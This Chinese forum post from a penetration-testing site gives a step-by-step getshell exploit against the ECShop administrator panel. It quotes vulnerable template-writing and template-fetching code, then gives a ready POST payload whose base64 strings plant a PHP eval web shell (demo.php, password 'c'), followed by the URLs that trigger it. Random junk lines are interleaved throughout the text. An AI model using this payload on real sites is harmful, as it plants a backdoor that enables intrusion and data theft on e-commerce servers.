中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
+ y( h7 g, T" s3 _
, L' Y0 F: {" A* p& J
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
- c# ^, b: N: f ?
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
$ C5 c1 j |" ?9 {$ Z
admin/template.php
I% |9 J$ T* }" ?$ C7 ^% w
: x0 V' E; P# [9 u
1 if ($_REQUEST['act'] == 'update_library')
- m9 u0 h2 V. Q
' ?5 W. O" p# Y- [
2
2 i3 e4 A) Q" y5 Y9 h9 J
) j9 v2 {$ E7 E( E3 g
3 {
( k. L9 M/ U. p, G4 `' \8 \
: F5 k- W1 @4 K/ T
4 check_authz_json('library_manage');
$ d6 f7 n3 [" K. ?6 T# u
+ F7 [7 U0 I- g5 w
5
6 t S) E# p( W
8 K5 I# ~. k6 o+ w: T7 ^* o
6 $html = stripslashes(json_str_iconv($_POST['html']));
: ?8 p, L5 K9 P' x7 h) @* w
( K& X$ a6 o, d7 ~: l
7
: `: Z: ^- G& ~
4 b: w U2 |2 m- A$ p+ x9 l1 ~
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
* \3 N$ j+ o0 D
, A! ?2 @/ m. I/ c% ]0 C* j4 Q) P
9
1 x0 u. f+ G g. [: }
) o' }' ~1 p/ Z r6 c
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
. C- T/ z. D/ K
: D) i% I* i; O9 `* z: Y
11
$ @# S$ ?! p! k6 V" t J' J. O
& p4 [* ~5 Y2 E3 y
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
T+ d& {+ s( X" ?4 k% x& v0 z) g
4 h+ a6 v" @' w) y( s
13
* S# \0 M% u* l. h% s% m+ ^, z
& n* Y7 n+ ^: \0 c+ m
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
- M4 [* O& Y4 `$ v$ Z
- K" q1 i. o, d" }$ t6 M: z
15 {
/ F; A: z- i$ ?) l
( N9 B% {& |& n/ ^) W; p' ^
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
! _) a5 X5 S" f9 q1 }+ S: X
. a/ m2 K# q* |3 ]( w
17 make_json_result('', $_LANG['update_lib_success']);
* J/ V# T$ |' e* A' I
+ P1 D6 N5 k+ O; ?8 Q/ {9 _
18 }
" @- R( U% O0 Q" [
8 F' a' \* c: V5 @
19 else
# ]1 b0 ~! |( @; J- Y) {- |2 @
* k2 i1 G4 l/ e
20 {
: |$ m9 q5 w; Z
" P1 S$ G. _% I* Z1 o7 |* i: Y
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ p0 N; P2 e/ ]: B5 T+ e
3 F: O9 s6 b+ H* X, \2 r1 Q: i
22 }
8 P& }5 o; k3 A% \! C3 L& O4 \
4 _4 k k0 v/ a4 D' _' U K2 G
23 }
* J9 Z* e- f3 V U" ?. \0 f
+ \( @: [, C5 w3 A% ]
那么找个比较方便调用了模板的文件
; q S3 t) c2 e+ j
index.php
" {9 }4 M$ M9 L2 H/ [" i$ A& ?* M- O
8 E) |# ], [1 W7 h5 a
1 if ($act == 'cat_rec')
$ P/ ~6 ?. s# N! x+ p
/ R4 n$ q0 ]' B3 G" B4 X! U H
2
1 f j$ ~( A# H7 S3 ?( f! K8 Y
9 M9 n4 ?. L6 [: P0 e: O
3 {
9 f: V0 X" k/ w
/ F5 Y0 ~7 a* F, n9 s! O
4
9 k2 n% l! f' R0 {1 ~- [
7 X4 r" @6 t/ Z, l5 h: \; k$ y9 n6 R
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$ w9 D$ w- X; m) J
6 k* U3 m7 z/ k$ ` F, G
6
" U; g, H3 L0 D" P1 x+ |3 k2 c. Y
( C4 t! w) v8 O* e% j
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
3 F2 U5 J7 J4 s
4 n. {3 ~, D$ v9 O. G7 ~" e
8
- b6 e3 q- J: Y0 W- s; s, X1 w1 M- y+ ^
) H2 M' b" h6 q+ O; ?' a7 P( T
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
: v8 m" a: `4 B0 T1 R, D" Z" {" i9 N
. j* p8 T! O( e- C% ?) _
10
! R( H- h: r) Z6 c+ z; s
) y& k t3 B, X
11 include_once('includes/cls_json.php');
' U( T0 h% ^/ j0 `$ n
. u. u! d" l2 D
12
, p1 U, l" N5 L d
# F) w0 z# q) e/ c4 z3 Z
13 $json = new JSON;
/ F- D' m$ m: F7 h- h7 k$ z
) f3 Z) y- T0 y& u
14
9 @) S e( ~: _) p0 u$ F6 j
0 ? J. w% T W* R' Q* [" W" t
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
) F( r: r$ F: }( s: I8 P
* [0 c2 \3 C& J* [5 K3 Y
16
# |# r0 [! {/ O0 C
2 a3 L. [( J9 {+ F: g
17 $children = get_children($cat_id);
8 @5 p' u1 v D5 E, v6 r# H$ N; ~6 j
5 s: b7 q! B% k/ w0 t/ }% a
18
" Y$ F$ F% {7 P. ~( |
* l% `- f; U8 X% n7 j% n
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
0 k3 R0 C6 Z/ _$ [
& a' b; i% [% |) \: i. t/ z% G
20
7 h2 J$ P8 f* `0 n9 k! T
, c. C+ W" `7 U( k! r; N" L
21 $smarty->assign('cat_rec_sign', 1);
* ]* ^5 Y# E' b' j. C) X4 S2 k
8 q% `4 H p: I7 s* n
22
. s }6 _) q2 U t1 `) U
5 c- r+ J1 _# A$ s" M
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
$ m' u8 Z7 T& H* J" I
; r; \5 S% t; N/ ^
24
% j) t* [, o' v' _0 ]
4 T9 x& c9 B" h
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
$ B# ^, R% a+ b" p- W, J
4 p: c& m0 V3 F) e+ J
26
# c/ e9 |' k, x m
' u7 Z7 B2 K6 ^1 r5 ~+ |. [
27 echo $rec_array[$rec_type];
6 H& V( d' v7 e; w. }+ M4 E
4 w# y8 W/ U- J; g5 p T* |
28
; ^$ e# W; Z: o b' W, o
- j2 k- w5 ^5 w6 T/ m# t, @. q4 g
29 die($json->encode($result));
& b8 w+ {( V3 W* W( A4 B2 S5 S3 a
" _3 \! R+ C3 a0 J5 Z% [+ {( {
30
+ Y# @/ I6 e% f$ W0 Z# V6 I0 i
! t5 W) {) a/ X. l8 u, @: [: o v5 ~/ [
31 }
+ I* J% E) i& H) O+ k. p' H! @3 K
5 K1 ^$ n. y. Q& \' a! Z% G, \
那么就有利用方法了
) N9 @3 ]7 V' \) L$ ]( k
post包到http://localhost/ec/admin/template.php?act=update_library
# T5 L0 }* s$ s3 b% A
Post内容:
( \) a( R) b/ _
! {4 ~( w4 ] {9 U/ T2 E6 ~& k
3 A ?* v8 Y9 `3 p: l3 K1 B& n) ?; \
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
0 Z6 n% C% `1 {
1 B& n( f3 i8 Q; M6 _
然后访问http://localhost/ec/index.php?act=cat_rec
. i) a7 x. V) g. J' l$ {
3 T7 {9 t) l- ~9 N4 b; Q- M
shel地址:http://localhost/ec/demo.php
3 A! I+ I2 K: W
密码c
2 ?$ h: ]/ V, E
& A% A; E$ W# k
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2